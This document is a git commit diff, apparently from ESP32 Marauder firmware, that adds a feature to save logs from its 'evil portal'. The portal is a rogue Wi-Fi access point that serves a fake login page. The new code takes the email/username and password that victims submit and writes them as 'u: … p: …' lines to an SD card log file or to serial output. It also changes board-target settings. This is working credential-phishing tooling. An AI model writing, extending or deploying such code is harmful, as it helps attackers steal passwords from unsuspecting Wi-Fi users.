Save evil portal logs

This commit is contained in:
Just Call Me Koko
2023-07-18 18:15:23 -04:00
parent 2685de86d1
commit 6f1db9176a
10 changed files with 131 additions and 49 deletions

View File

@@ -6,12 +6,20 @@ Buffer::Buffer(){
bufB = (uint8_t*)malloc(BUF_SIZE);
}
void Buffer::createPcapFile(fs::FS* fs, String fn){
void Buffer::createPcapFile(fs::FS* fs, String fn, bool log){
int i=0;
do{
fileName = "/"+fn+"_"+(String)i+".pcap";
i++;
} while(fs->exists(fileName));
if (!log) {
do{
fileName = "/"+fn+"_"+(String)i+".pcap";
i++;
} while(fs->exists(fileName));
}
else {
do{
fileName = "/"+fn+"_"+(String)i+".log";
i++;
} while(fs->exists(fileName));
}
Serial.println(fileName);
@@ -19,20 +27,23 @@ void Buffer::createPcapFile(fs::FS* fs, String fn){
file.close();
}
void Buffer::open(){
void Buffer::open(bool log){
bufSizeA = 0;
bufSizeB = 0;
bufSizeB = 0;
bufSizeB = 0;
writing = true;
write(uint32_t(0xa1b2c3d4)); // magic number
write(uint16_t(2)); // major version number
write(uint16_t(4)); // minor version number
write(int32_t(0)); // GMT to local correction
write(uint32_t(0)); // accuracy of timestamps
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
write(uint32_t(105)); // data link type
if (!log) {
write(uint32_t(0xa1b2c3d4)); // magic number
write(uint16_t(2)); // major version number
write(uint16_t(4)); // minor version number
write(int32_t(0)); // GMT to local correction
write(uint32_t(0)); // accuracy of timestamps
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
write(uint32_t(105)); // data link type
}
}
void Buffer::close(fs::FS* fs){
@@ -42,8 +53,7 @@ void Buffer::close(fs::FS* fs){
Serial.println(text01);
}
void Buffer::addPacket(uint8_t* buf, uint32_t len){
void Buffer::addPacket(uint8_t* buf, uint32_t len, bool log){
// buffer is full -> drop packet
if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
//Serial.print(";");
@@ -64,10 +74,12 @@ void Buffer::addPacket(uint8_t* buf, uint32_t len){
microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
write(seconds); // ts_sec
write(microSeconds); // ts_usec
write(len); // incl_len
write(len); // orig_len
if (!log) {
write(seconds); // ts_sec
write(microSeconds); // ts_usec
write(len); // incl_len
write(len); // orig_len
}
write(buf, len); // packet payload
}

View File

@@ -16,10 +16,10 @@ extern Settings settings_obj;
class Buffer {
public:
Buffer();
void createPcapFile(fs::FS* fs, String fn = "");
void open();
void createPcapFile(fs::FS* fs, String fn = "", bool log = false);
void open(bool log = false);
void close(fs::FS* fs);
void addPacket(uint8_t* buf, uint32_t len);
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
void save(fs::FS* fs);
void forceSave(fs::FS* fs);
void forceSaveSerial();

View File

@@ -10,11 +10,13 @@ EvilPortal::EvilPortal() {
this->has_ap = false;
}
void EvilPortal::begin() {
bool EvilPortal::begin() {
// wait for init flipper input
this->setAP();
this->setHtml();
if (!this->setAP())
return false;
if (!this->setHtml())
return false;
startPortal();
}
@@ -41,7 +43,6 @@ void EvilPortal::setupServer() {
inputParam = "email";
this->user_name = inputMessage;
this->name_received = true;
Serial.println(this->user_name);
}
if (request->hasParam("password")) {
@@ -49,7 +50,6 @@ void EvilPortal::setupServer() {
inputParam = "password";
this->password = inputMessage;
this->password_received = true;
Serial.println(this->password);
}
request->send(
200, "text/html",
@@ -58,12 +58,12 @@ void EvilPortal::setupServer() {
Serial.println("web server up");
}
void EvilPortal::setHtml() {
bool EvilPortal::setHtml() {
Serial.println("Setting HTML...");
File html_file = sd_obj.getFile("/index.html");
if (!html_file) {
Serial.println("Could not open index.html. Exiting...");
return;
return false;
}
else {
String html = "";
@@ -75,15 +75,16 @@ void EvilPortal::setHtml() {
strncpy(this->index_html, html.c_str(), strlen(html.c_str()));
this->has_html = true;
Serial.println("html set");
html_file.close();
html_file.close();
return true;
}
}
void EvilPortal::setAP() {
bool EvilPortal::setAP() {
File ap_config_file = sd_obj.getFile("/ap.config.txt");
if (!ap_config_file) {
Serial.println("Could not open ap.config.txt. Exiting...");
return;
return false;
}
else {
String ap_config = "";
@@ -97,6 +98,7 @@ void EvilPortal::setAP() {
this->has_ap = true;
Serial.println("ap config set");
ap_config_file.close();
return true;
}
}
@@ -124,6 +126,36 @@ void EvilPortal::startPortal() {
this->runServer = true;
}
void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
len = str.length(); // Obtain the length of the string
buf = new uint8_t[len]; // Dynamically allocate the buffer
// Copy each character from the string to the buffer
for (uint32_t i = 0; i < len; i++) {
buf[i] = static_cast<uint8_t>(str.charAt(i));
}
}
void EvilPortal::addLog(String log, int len) {
//uint8_t *buf;
//log.getBytes(buf, strlen(log.c_str()));
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
if (save_packet) {
uint8_t* logBuffer = nullptr;
uint32_t logLength = 0;
this->convertStringToUint8Array(log, logBuffer, logLength);
#ifdef WRITE_PACKETS_SERIAL
buffer_obj.addPacket(logBuffer, logLength, true);
#elif defined(HAS_SD)
sd_obj.addPacket(logBuffer, logLength, true);
#else
return;
#endif
}
}
void EvilPortal::main(uint8_t scan_mode) {
if (scan_mode == WIFI_SCAN_EVIL_PORTAL) {
this->dnsServer.processNextRequest();
@@ -133,8 +165,9 @@ void EvilPortal::main(uint8_t scan_mode) {
String logValue1 =
"u: " + this->user_name;
String logValue2 = "p: " + this->password;
Serial.println(logValue1);
Serial.println(logValue2);
String full_string = logValue1 + " " + logValue2 + "\n";
Serial.print(full_string);
this->addLog(full_string, full_string.length());
}
}
}

View File

@@ -8,9 +8,11 @@
#include "configs.h"
#include "settings.h"
#include "SDInterface.h"
#include "lang_var.h"
extern Settings settings_obj;
extern SDInterface sd_obj;
extern Buffer buffer_obj;
#define WAITING 0
#define GOOD 1
@@ -57,18 +59,20 @@ class EvilPortal {
void (*resetFunction)(void) = 0;
void setHtml();
void setAP();
bool setHtml();
bool setAP();
void setupServer();
void startPortal();
void startAP();
void addLog(String log, int len);
void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
public:
EvilPortal();
String get_user_name();
String get_password();
void begin();
bool begin();
void main(uint8_t scan_mode);
};

View File

@@ -106,9 +106,9 @@ void SDInterface::listDir(String str_dir){
}
}
void SDInterface::addPacket(uint8_t* buf, uint32_t len) {
void SDInterface::addPacket(uint8_t* buf, uint32_t len, bool log) {
if ((this->supported) && (this->do_save)) {
buffer_obj.addPacket(buf, len);
buffer_obj.addPacket(buf, len, log);
}
}
@@ -120,6 +120,14 @@ void SDInterface::openCapture(String file_name) {
}
}
void SDInterface::openLog(String file_name) {
bool save_pcap = settings_obj.loadSetting<bool>("SavePCAP");
if ((this->supported) && (save_pcap)) {
buffer_obj.createPcapFile(&SD, file_name, true);
buffer_obj.open(true);
}
}
void SDInterface::runUpdate() {
#ifdef HAS_SCREEN
display_obj.tft.setTextWrap(false);

View File

@@ -41,8 +41,9 @@ class SDInterface {
void listDir(String str_dir);
File getFile(String path);
void addPacket(uint8_t* buf, uint32_t len);
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
void openCapture(String file_name = "");
void openLog(String file_name = "");
void runUpdate();
void performUpdate(Stream &updateSource, size_t updateSize);
void main();

View File

@@ -591,7 +591,7 @@ void WiFiScan::RunEvilPortal(uint8_t scan_mode, uint16_t color)
#ifdef WRITE_PACKETS_SERIAL
buffer_obj.open();
#elif defined(HAS_SD)
sd_obj.openCapture("evil_portal");
sd_obj.openLog("evil_portal");
#else
return;
#endif
@@ -3335,6 +3335,22 @@ void WiFiScan::addPacket(wifi_promiscuous_pkt_t *snifferPacket, int len) {
}
}
/*void WiFiScan::addLog(String log, int len) {
uint8_t *buf;
log.getBytes(buf, log.length());
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
if (save_packet) {
Serial.println("Saving data...");
#ifdef WRITE_PACKETS_SERIAL
buffer_obj.addPacket(buf, len);
#elif defined(HAS_SD)
sd_obj.addPacket(buf, len);
#else
return;
#endif
}
}*/
#ifdef HAS_SCREEN
void WiFiScan::eapolMonitorMain(uint32_t currentTime)
{
@@ -3795,6 +3811,13 @@ void WiFiScan::main(uint32_t currentTime)
channelHop();
}
}
/*else if (currentScanMode == WIFI_SCAN_EVIL_PORTAL) {
String evil_portal_result = "";
evil_portal_result = evil_portal_obj.main(currentScanMode);
if (evil_portal_result != "") {
this->addLog(evil_portal_result, strlen(evil_portal_result.c_str()));
}
}*/
else if (currentScanMode == WIFI_PACKET_MONITOR)
{
#ifdef HAS_SCREEN

View File

@@ -362,6 +362,7 @@ class WiFiScan
void main(uint32_t currentTime);
void StartScan(uint8_t scan_mode, uint16_t color = 0);
void StopScan(uint8_t scan_mode);
//void addLog(String log, int len);
static void getMAC(char *addr, uint8_t* data, uint16_t offset);
static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);

View File

@@ -15,8 +15,8 @@
//#define MARAUDER_V6
//#define MARAUDER_KIT
//#define GENERIC_ESP32
//#define MARAUDER_FLIPPER
#define ESP32_LDDB
#define MARAUDER_FLIPPER
//#define ESP32_LDDB
//#define MARAUDER_DEV_BOARD_PRO
//#define XIAO_ESP32_S3
//// END BOARD TARGETS
@@ -154,9 +154,9 @@
//// FLIPPER ZERO HAT SETTINGS
#ifdef FLIPPER_ZERO_HAT
#ifdef MARAUDER_FLIPPER
#define USE_FLIPPER_SD
#endif
//#ifdef MARAUDER_FLIPPER
// #define USE_FLIPPER_SD
//#endif
#ifdef XIAO_ESP32_S3
#define USE_FLIPPER_SD

View File

@@ -375,7 +375,7 @@ void loop()
#endif
wifi_scan_obj.main(currentTime);
evil_portal_obj.main(wifi_scan_obj.currentScanMode);
#ifdef WRITE_PACKETS_SERIAL
buffer_obj.forceSaveSerial();
#elif defined(HAS_SD)